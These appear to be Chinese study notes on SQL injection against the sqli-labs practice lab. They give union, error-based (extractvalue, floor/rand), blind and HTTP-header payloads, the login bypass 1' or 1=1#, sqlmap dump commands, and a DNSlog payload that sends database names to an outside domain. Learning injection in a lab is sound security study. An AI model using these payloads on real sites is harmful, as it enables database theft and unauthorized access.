无题
基础
table_schema 数据库名
table_name 表名
column_schema 列名
增删改语句
查询语句
union
联合查询(将前后查询语句一起运行)
group by
order by , limit
and 同时满足 or 满足一个条件
函数
注入顺序
先找注入点
再判断注入的是字符型还是数字型注入(可以用2-1和1来判断)
如果输入为1
再输入2-1 如果两种显示相同则是数字型(如果用1=2,也可以,但是用1+2,加号可能会被识别成空格)
再判断闭合方式(字符型,数字型不需要闭合)
闭合的原因是为了将注入值和后面执行的sql语句分开
就是?id=这个后面的内容是一个整体如果里面包含了正确的闭合符号就会导致系统帮你输入的闭合符号单独多出来,就是靠这样来判断闭合方式的,如果会回显报错就输入转义符 如 /
可以输入?id=1’
后面的‘‘1’’LMIT 0,1’ at line 1(在这个报错语句里面1’这里的单引号没有对应的另一个单引号,而另外两个单引号就是判断他闭合方式的)
这个注释相当于把上面的从LIMT 0,1’开始这部分注释掉了,让一开始没有对应的单引号 有了对应的单引号
判断查询列数的长短
用group by 和 order by ,
判断id=1的这一行有多少列
可以先在3的位置输入较大的数字,用二分法来判断
查询回显位置
可以先将union select 前部分的id注入一个数据库里面没有的id,这样就可以显示后面所显示的部分,
通过把1,2,3这三个数字的位置改成database()查看回显位置
这里是更改了2的位置
然后查询到了security这个名字就是目前对应的库名,然后就是要拿到表名和列名
Information_schema系统自带的数据库库名,因为这个数据库里面的tables表包含了所有数据库的表名
columns这个表就是包含了所有数据库里面的所有列名
在用group_concat的时候不能在后面接空格 如group_concat ()这种写法是错误的
json_arrayagg()和这个效果差不多
报错注入
通常用于没有找到回显位置的时候
extractvalue()
extractvalue(1,concat(0x7e,(select database())))
concat(1,2)表示将这两个参数拼接起来就是让前面的一个参数产生报错在和后面的sql注入语句连接起来,这样就可以让后面的sql语句在报错回显的地方显示出来
由于extractvalue只能返回32个字符所以要用到substring来显示后面的数据,再通过自己和前面的数据进行拼接,但是还是在页面中只能显示32个字符,只是这32个字符所代表的字符位置不一样
updatexml()
floor()
通过rand(0)2会固定显示0和1中的随机一个,因为count()会统计数量,在对rand(0)2统计数量时,第一个计算进去的数字是不会显示的要看第二个计算进去的数字才会对其计数,如果rand(0)*2显示的是0,1,1,1 那么先进行计数的是1,而不是0,因为0是第一个计算的,不会对其统计而是记上个数1,等第二个1计算的时候就会对其进行统计因为一开始就已经记上了个数1,但也会统计在1这一类,相当于在第二个位置1计算进去的时候就有两个1的数量了,为什么会报错,是因为再次碰到0的时候又会记上个数1但是没有统计0,所以还会计算下一个数字,如果下一个数字又是1,那么由于统计的两个名称都是1所以产生了报错
rand()函数
concat_ws(1,2,3)函数
,,执行结果为213,就是第一位的符号用来当拼接第二位和第三位的符号
as别名,group by分组
count()汇总统计数量
floor(rand(0)*2)用来报错
盲注
在页面没回显位且没报错的时候使用,通常是使用工具来爆破
sqlmap
D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ –dbs 爆出所有数据库名
D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ -D 数据库名–tables 爆出数据库里面的所有表
D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ -D 数据库名 -T 表名 –dump 爆出所有内容
-h, –help Show basic help message and exit
显示基本帮助信息并退出
-hh Show advanced help message and exit
显示高级帮助信息并退出
–version Show program’s version number and exit
显示程序的版本号并退出
-v VERBOSE Verbosity level: 0-6 (default 1)
详细程度级别:0-6(默认1)
Target:
At least one of these options has to be provided to define the
target(s)
目标:
必须提供至少一个选项来定义目标
-u URL, --url=URL Target URL (e.g. "[http://www.site.com/vuln.php?id=1")](http://www.site.com/vuln.php?id=1"))
目标URL(例如:"[http://www.site.com/vuln.php?id=1"](http://www.site.com/vuln.php?id=1"))
-g GOOGLEDORK Process Google dork results as target URLs
将Google dork结果处理为目标URL
Request:
These options can be used to specify how to connect to the target URL
请求:
这些选项可用于指定如何连接到目标URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
要通过POST发送的数据字符串(例如:"id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
HTTP Cookie头值(例如:"PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
使用随机选择的HTTP User-Agent头值
--proxy=PROXY Use a proxy to connect to the target URL
使用代理连接到目标URL
--tor Use Tor anonymity network
使用Tor匿名网络
--check-tor Check to see if Tor is used properly
检查Tor是否正常使用
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
注入:
这些选项可用于指定要测试的参数,提供自定义注入负载和可选的篡改脚本
-p TESTPARAMETER Testable parameter(s)
可测试的参数
--dbms=DBMS Force back-end DBMS to provided value
强制后端DBMS为提供的值
Detection:
检测:
--level=LEVEL Level of tests to perform (1-5, default 1)
执行测试的级别(1-5,默认1)
--risk=RISK Risk of tests to perform (1-3, default 1)
执行测试的风险级别(1-3,默认1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
技巧:
这些选项可用于调整特定SQL注入技巧的测试
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
要使用的SQL注入技巧(默认"BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
枚举:
这些选项可用于枚举后端数据库管理系统的信息、结构以及表中包含的数据
-a, --all Retrieve everything
检索所有内容
-b, --banner Retrieve DBMS banner
检索DBMS横幅
--current-user Retrieve DBMS current user
检索DBMS当前用户
--current-db Retrieve DBMS current database
检索DBMS当前数据库
--passwords Enumerate DBMS users password hashes
枚举DBMS用户的密码哈希
--dbs Enumerate DBMS databases
枚举DBMS数据库
--tables Enumerate DBMS database tables
枚举DBMS数据库表
--columns Enumerate DBMS database table columns
枚举DBMS数据库表列
--schema Enumerate DBMS schema
枚举DBMS模式
--dump Dump DBMS database table entries
转储DBMS数据库表条目
--dump-all Dump all DBMS databases tables entries
转储所有DBMS数据库表条目
-D DB DBMS database to enumerate
要枚举的DBMS数据库
-T TBL DBMS database table(s) to enumerate
要枚举的DBMS数据库表
-C COL DBMS database table column(s) to enumerate
要枚举的DBMS数据库表列
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
操作系统访问:
这些选项可用于访问后端数据库管理系统的底层操作系统
--os-shell Prompt for an interactive operating system shell
提示输入交互式操作系统shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
提示输入OOB shell、Meterpreter或VNC
General:
These options can be used to set some general working parameters
通用:
这些选项可用于设置一些通用的工作参数
--batch Never ask for user input, use the default behavior
永不询问用户输入,使用默认行为
--flush-session Flush session files for current target
清除当前目标的会话文件
Miscellaneous:
These options do not fit into any other category
其他:
这些选项不属于任何其他类别
--wizard Simple wizard interface for beginner users
为初学者提供简单的向导界面
[!] to see full list of options run with ‘-hh’
[!] 要查看完整选项列表,请使用’-hh’运行
原理:用ASCII码来判断,就是用每个字母所代表的ASCII码来依次尝试,如果页面显示了正确,就可以用这个来确定每个字母是什么再通过拼接来找到目标
分类:布尔盲注,时间盲注,报错盲注
布尔盲注
用and不用union
时间盲注
sleep()括号里面代表这个网站加载多少秒
相比布尔盲注多了一个if判断,通过判断第一个条件是否成立,如果成立就执行第一个条件sleep(0)
如果不成立就执行第二个
万能密码
1’ or 1=1#
文件上传
outfile
DNSlog
(手动)
先打开yakit找到反连DNS然后生成可用域名
然后去注入点输入指令
这里用第九关的来演示 ?id=1’ and (select load_file(concat(“//“,(select database),”自己生成的域名”)))–+
注意:在域名前要加点,这样才能和前面的sql语句连接起来
因为这可以解析域名,所以在前面加上sql语句也可以
HTTP头uagent响应
这里先是输入正确的用户和密码登录进去后,提示回显是在agent,所以可以用burp siute来抓包,通过对请求包的agent来注入,先要判断闭合方式因为这里是(’’,’’,’’)所以这里用 ‘,’’,’’)闭合整个语句,然后在‘ 这个后面加上注入语句,前面的部分相当于一个参数,就是下面这个蓝色字体的部分
通过对源码的查看可以看见闭合方式
必须要在这个账号可以登录进去的情况下才可以抓包,因为这样才能知道传入的数据和后端进行了交互,通过拦截请求包,然后修改内容后放行就可以了
HTTP头referer
方法和上面的agent差不多,下面这个例子就是闭合方式和上面不一样
HTTP头cookie
cookie相当于一个保存密码的东西,就是输入完用户名和密码之后可以不需要再次输入就可以登录进去
cookie的话要先登录进界面,然后通过刷新界面来抓包修改请求